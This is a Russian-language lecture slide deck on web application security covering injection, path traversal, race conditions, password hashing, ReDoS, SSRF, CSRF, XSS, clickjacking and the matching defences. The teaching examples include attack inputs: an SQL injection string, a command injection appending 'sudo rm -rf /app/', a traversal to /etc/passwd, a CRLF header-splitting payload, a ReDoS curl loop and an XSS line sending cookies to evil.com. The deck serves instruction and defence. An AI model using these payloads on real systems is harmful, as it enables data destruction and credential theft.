Безопасность веб-приложений

Александр Белёв

Почему безопасность— это важно?

Угроза
Потенциально возможное событие, которое посредством работы с компонентами сервиса, может нанести ущерб
Уязвимость
Свойство сервиса, использование которого злоумышленником приводит к реализации угрозы
Атака
Реализация угрозы, путём использования уязвимостей
OWASP OWASP Top 10

Что мы защищаем?

Схема архитектуры современного веб-приложения

Server-side

Client-side

Серверная часть

  • Логические уязвимости
    недочеты архитектуры
  • Ошибки эксплуатации
    ошибки в администрировании
  • Ошибки реализации
    ошибки в коде

Логические уязвимости

  • Отсутствие разграничений прав доступа
  • Избыточная небезопасная функциональность

Секретный урл


        GET https://my-awesome-site.ru/admin

        GET https://my-awesome-site.ru/aliSFla1434snf
    

Чаще всего такая функциональность может быть скомпрометирована

Индексация GoogleDocs

Логические уязвимости

  • Отсутствие разграничений прав доступа
  • Избыточная небезопасная функциональность
  • Нарушение логики работы приложения

Функциональность оплаты

Выбираем способ оплаты
    GET https://online-shop.ru/payment/step/1
Производим оплату
    GET https://online-shop.ru/payment/step/2
Подтверждаем по СМС
    GET https://online-shop.ru/payment/step/3
Получаем товар
    GET https://online-shop.ru/payment/step/4

Insecure direct object reference


    GET https://disk.yandex.ru/client/1028379420
    GET https://disk.yandex.ru/client/123
        

Insecure direct object reference


    GET https://disk.yandex.ru/client/1028379420
    GET https://disk.yandex.ru/client/123
    

Есть возможность получить данные другого пользователя

Предпосылки

  • Сложности реализации
  • Плохо продуманная архитектура
  • Человеческий фактор

Ошибки реализации

  • Инъекции
  • Гонки (Race condition)
  • Раскрытие информации
  • Слабая криптография
  • Бинарные уязвимости
Инъекции
Уязвимости, направленные на возможность внедрения управляющего кода в язык запросов

Инъекции

  • SQL/NoSQL injection
  • Command injection
  • CRLF injection
  • Parameter contamination
  • Path traversal

SQL инъекции 👑


        const { id } = req.query;

        const sql = `SELECT * FROM adventures WHERE id='${id}';`;
    
        
        GET /adventures?id=123
    
        
        SELECT * FROM adventures WHERE id='123';
    

SQL инъекции 👑

        
        GET /adventures?id=123
    

SQL инъекции 👑

        
        GET /adventures?id=123' or '1'='1
    
        
        SELECT * FROM adventures WHERE id='123' or '1'='1';
    
        
        GET /adventures?id=123%27%20or%20%271%27=%271
    

SQL инъекции 👑

Что делать?

SQL инъекции 👑

  • Санитайзить / эскейпить данные
  • Использовать ORM
  • Использовать prepared statements

Эскейпинг


    const { name } = req.body;
    const escaped = name.replace('\'', '\'\'');

    const sql = `
        SELECT * FROM adventures WHERE name='${escaped}';
    `;

Работает только в частном случае

SQL Injection Bypassing WAF

Prepared statements

    PREPARE findAdventure (text) AS
        SELECT * FROM adventures WHERE name = $1;
    EXECUTE findAdventure('magic');
    const { name } = req.body;

    sequelize
        .query('SELECT * FROM adventures WHERE name = :name', {
            replacements: { name },
            type: sequelize.QueryTypes.SELECT
        })
        .then(adventures => res.send(adventures));

Prepared statements в PostgreSQL

Command injection 🐽

    import { exec } from 'child_process';
    const { repo, name } = req.body;
    
    exec(`git clone ${repo}`);
    exec(`cd ${name}`);
    exec('npm install');
    exec('npm test');
    POST /hook    {
        repo: 'https://github.com/urfu-2019/telltail.git',
        name: 'telltail'
    }

Command injection 🐽

    import { exec } from 'child_process';
    const { repo, name } = req.body;
    
    exec(`git clone ${repo}`); // 🤔
    exec(`cd ${name}`); // 🤔
    exec('npm install');
    exec('npm test');
    POST /hook    {
        repo: 'https://github.com/urfu-2019/telltail.git',
        name: 'telltail'
    }

Command injection

    POST /hook    {
        repo: 'https://github.com/urfu-2019/telltail.git',
        name: 'telltail && sudo rm -rf /app/'
    }
        exec('cd telltail && sudo rm -rf /app/')

Command injection

    POST /hook    {
        repo: 'https://github.com/urfu-2019/telltail.git',
        name: 'telltail && sudo rm -rf /app/'
    }
        exec('cd telltail && sudo rm -rf /app/')

Command injection

  • Разбивать сервис на микросервисы
  • Не передавать пользовательский ввод в параметры
  • Не запускать новые процессы из пользовательских запросов
  • Изолировать запускаемый код

CRLF Injection

Проксируем запрос в бэкенд

CR === '\r' === String.fromCharCode(0x0d)
LF === '\n' === String.fromCharCode(0x0a)

HTTP Header Splitting

GET /path?redirect=home%0D%0ASet-Cookie:%20login%3Dadmin HTTP/1.1

HTTP Header Splitting

GET /path?redirect=home%0D%0ASet-Cookie:%20login%3Dadmin HTTP/1.1
HTTP/1.1 302\r\n
Location: /home\r\n
Set-Cookie: login=admin\r\n
    

HTTP Header Splitting

GET /path?redirect=home%0D%0ASet-Cookie:%20login%3Dadmin HTTP/1.1
HTTP/1.1 302\r\n
Location: /home\r\n
Set-Cookie: login=admin\r\n
    

HTTP parameter contamination

        
GET /handle?payload=1%26login=admin

GET /handle?payload=1&login=admin&login=user

HTTP parameter contamination

    
GET /handle?payload=1%26login=admin

GET /handle?payload=1&login=admin&login=user

Инъекция в GET-параметре payload

Path traversal


    GET /handler?filename=image.jpg

    GET /handler?filename=../../../../../etc/passwd
    

Кул стори

VolgaCTF 2019 Quals

Writeup от Kappa

Галерея, написана на node.js

Использовался session-file-store

С помощью directory listing скачали config с секретным ключом

Там же есть API, читающее файлы, с path traversal

Рядом лежал код админки с сохраненной сессией

ID сессии — это имя файла

Создаем куку с ID=

../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM

Подписываем куку украденным ключом

Забираем флаг

Как защищаться

  • Не использовать файловую систему
  • Нет, я серьезно, оно вам не нужно
  • В крайнем случае — санитайзинг параметров
Перерыв?

Race conditions (гонки)


    const { code } = req.body;

    const isValid = await PromoCode.validate(code);

    if (!isValid) {
        return;
    }

    await PromoCode.activate(code);
    await PromoCode.markAsUsed(code);

Race conditions (гонки)


    const { code } = req.body;

    const isValid = await PromoCode.validate(code);

    if (!isValid) {
        return;
    }

    await PromoCode.activate(code);
    await PromoCode.markAsUsed(code); // ⏰

Нужно использовать транзакции

Раскрытие информации

  • Заголовки запроса в ответе сервера
  • Ссылки на внутреннюю документацию / описание внутренних структур
  • Язык и фреймворк
  • Отладочные данные в production
  • Небезопасное логирование

Криптография

  • Криптография !== Безопасность
  • «Последний рубеж»
  • Никогда не писать самостоятельно

Пароли

User Password
user1 qwertyuiop

Пароли

User Password
user1 hash('qwertyuiop')

Хеш-функция

  • Односторонняя функция
  • Вход произвольной длины, выход — фиксированной
  • Стойкость к коллизиям, взятию второго прообраза
  • MD5, SHA-256, SHA-512, Streebog

Пароли

User Password
user1 hash('qwertyuiop'+salt)

Пароли

User Salt Password
user1 secret hash('qwertyuiop'+salt)

Криптография

  • Криптография !== Безопасность
  • «Последний рубеж»
  • Никогда не писать самостоятельно
  • Не хранить пароли в открытом виде
  • При хешировании использовать соль

Кул стори #2

RuCTF 2019

Следующая кука = MD5 от предудыщей

Кул стори #3

Volga CTF 2019 Finals

Выход функции длиной 5-6 символов

Можем легко перебрать ключ

Denial of service

    const { text } = req.body;

    const regex = /^https?:\/\/\w+@\w+\.\w+$/;

    const isValidEmail = Boolean(text.match(regex));

    const statusCode = isValidEmail ? 200 : 400;

    res.sendStatus(statusCode);

Denial of service

    const { text } = req.body;

    const regex = /^https?:\/\/\w+@\w+\.\w+$/;

    const isValidEmail = Boolean(text.match(regex)); // ⚠️

    const statusCode = isValidEmail ? 200 : 400;

    res.sendStatus(statusCode);

Denial of service


    const isValidEmail = Boolean(text.match(regex));
    while (true); do
        curl $URL -d '{ text: $(cat "Война и мир.txt") }';
    done
Двигатель перегрелся

Distributed Denial of service

Схема атаки DDOS

Ошибки архитектуры

  • Некорректная авторизация и аутентификация
  • Атака SSRF

Аутентификация и авторизация

Схема авторизации и аутентифкации в Яндексе

Атака Server Side Request Forgery

Схема атаки SSRF

Атака Server Side Request Forgery

Схема атаки SSRF

Атака Server Side Request Forgery

Схема атаки SSRF

В Яндексе

  • Security Review
  • Автоматическое сканирование
  • Безопасные общие компоненты
  • Аутентификация и авторизация
  • Секреты и токены

Client side

Same Origin Policy

Origin = scheme + domain + port

    http://a.yandex.ru/dir1 
    http://a.yandex.ru/dir1/dir2 
    https://a.yandex.ru/dir1 
    http://a.yandex.ru:8080/dir1 
    http://b.yandex.ru/dir1 

Cookie


    Set-Cookie: id=1111; Path=/admin/
    Set-Cookie: id=2222; Path=/; Domain=my.example.com
    Set-Cookie: id=3333; Path=/; Http-Only; secure

Cookie


    Set-Cookie: id=1111; Path=/admin/
    Set-Cookie: id=2222; Path=/; Domain=my.example.com
    Set-Cookie: id=3333; Path=/; Http-Only; secure

Http-Only - кука не доступна из JS

Secure - кука передаётся только по HTTPS

Cross-Origin Resource Sharing


    GET /handler/ HTTP/1.1
    Host: myawesomedomain.com
    Origin: https://attacker.com
    Cookie: session=123

    HTTP/1.0 200 OK
    Access-Control-Allow-Origin: https://attacker.com
    Access-Control-Allow-Credentials: true

Cross site request forgery

Схема атаки CSRF

Cross site request forgery


        GET /form HTTP/1.1
        Host: vulnerable.com

        
        HTTP/1.1 200 OK
        Set-Cookie: crsf-token=keyboard-cat
    
        
        POST /modify HTTP/1.0
        Host: vulnerable.com
        X-CSRF-Token: keyboard-cat
    
Cross-site scripting (XSS)
Атака, при которой вредоносный код внедряется в код вашего сайта и может быть запущен

Cross-site scripting (XSS)

  • Reflected
  • http://example.com/search.php?q=<script>DoSomething();</script>
  • Stored
  • 
    <script>document.location="http://evil.com/?"+document.cookie</script>
    <textarea id="textarea" type="text"></textarea>
    <button id="button">Сохранить</button>
    <div id="result"></div>
    <script>
        button.addEventListener('click', function () {
            result.innerHTML = textarea.value;
        });
    <script>
Автор

Пользователь написал в 25 апреля в 17:45

Cross-Site Scripting

  • Санитайзинг / эскейпинг данных на выходе
  • Использовать фреймворки
  • Бескуковый домен для пользовательских скриптов
  • Заголовок X-XSS-Protection
  • Content Security Policy

Санитайзинг

    import sanitizeHtml from 'sanitize-html';

    const evilHtml = `
        <p style="background-image: url('attacker.com')">
            Hello, world!
        </p>
        <script>alert(document.cookie);</script>
    `;

    const kindHtml = sanitizeHtml(evilHtml, {
        allowedTags: ['a', 'p', 'div'],
        allowedAttributes: { a: ['href'] }
    });
    // 

Hello, world!

XSS Filter Evasion

Content Security Policy


    Content-Security-Policy:
        default-src 'self';
        img-src *;
        script-src trusted.com;

Content Security Policy


    Content-Security-Policy:
        media-src https://yandex.ru
    

Content Security Policy


    Content-Security-Policy:
        media-src https://yandex.ru
    

Список директив CSP

ClickJacking

Иллюстрация атаки Clickjacking
    <iframe src="https://vk.com">
    </iframe>

    
        Click to WIN!
    

ClickJacking

            
    X-Frame-Options: SAMEORIGIN
    X-Frame-Options: DENY
    X-Frame-Options: ALLOW-FROM http://trusted.com
    

ClickJacking

            
    X-Frame-Options: SAMEORIGIN
    X-Frame-Options: DENY
    X-Frame-Options: ALLOW-FROM http://trusted.com

* Но есть директива CSP frame-ancestors

Многократная отправка формы

Капча

Что делать, чтобы было безопаснее

  • Не доверяйте пользовательским данным
  • Автоматизация (анализ кода, сканирования)
  • Общие безопасные компоненты
  • npm audit

Ссылки

??